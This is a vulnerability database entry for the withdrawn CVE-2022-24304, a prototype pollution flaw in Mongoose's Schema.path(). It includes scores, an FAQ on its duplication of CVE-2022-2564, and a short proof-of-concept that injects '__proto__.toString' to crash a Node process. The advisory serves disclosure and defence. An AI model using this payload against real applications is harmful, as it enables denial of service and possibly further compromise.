CVE-2022-24304

✕ Withdrawn — historical dataCRITICALPre-NVD 9.8
9.8CVSS

Mongoose Vulnerable to Prototype Pollution in Schema Object

Description

Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution. The Schema.path() function is vulnerable to prototype pollution when setting the schema object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.

Proof of Concept

// poc.js
const mongoose = require('mongoose');
const schema = new mongoose.Schema();

malicious_payload = '__proto__.toString'

schema.path(malicious_payload, [String])

x = {} console.log(x.toString()) // crashed (Denial of service (DoS) attack)

Impact

This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.

CVSS v3
9.8
EchelonGraph score
Not yet assessedThis CVE record was withdrawn by its numbering authority, so there is no vulnerability to rate.
EPSS PROB
—
EPSS %ILE
—
KEV
—Not applicable: this CVE ID was withdrawn

Published

August 27, 2022

Last Modified

August 27, 2022

Frequently asked(4)

What is CVE-2022-24304?
CVE-2022-24304 is a rejected CVE ID: its record was withdrawn on September 14, 2022 and no longer describes a vulnerability. Reason given: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2022-2564. Reason: This candidate is a duplicate of CVE-2022-2564. Notes: All CVE users should reference CVE-2022-2564 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage Its record names CVE-2022-2564 as the replacement.
When was the CVE record for CVE-2022-24304 published?
The CVE record for CVE-2022-24304 was published on August 27, 2022. EchelonGraph's copy of the record carries a last-modified date of August 27, 2022; the record at its source may have been updated since.
What is the CVSS score of CVE-2022-24304?
CVE-2022-24304 has a CVSS base score of 9.8 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2022-24304?
There is nothing to remediate under CVE-2022-24304: it is a rejected (withdrawn) CVE ID and no longer describes a vulnerability. Its record names CVE-2022-2564 as the replacement; act on that CVE instead.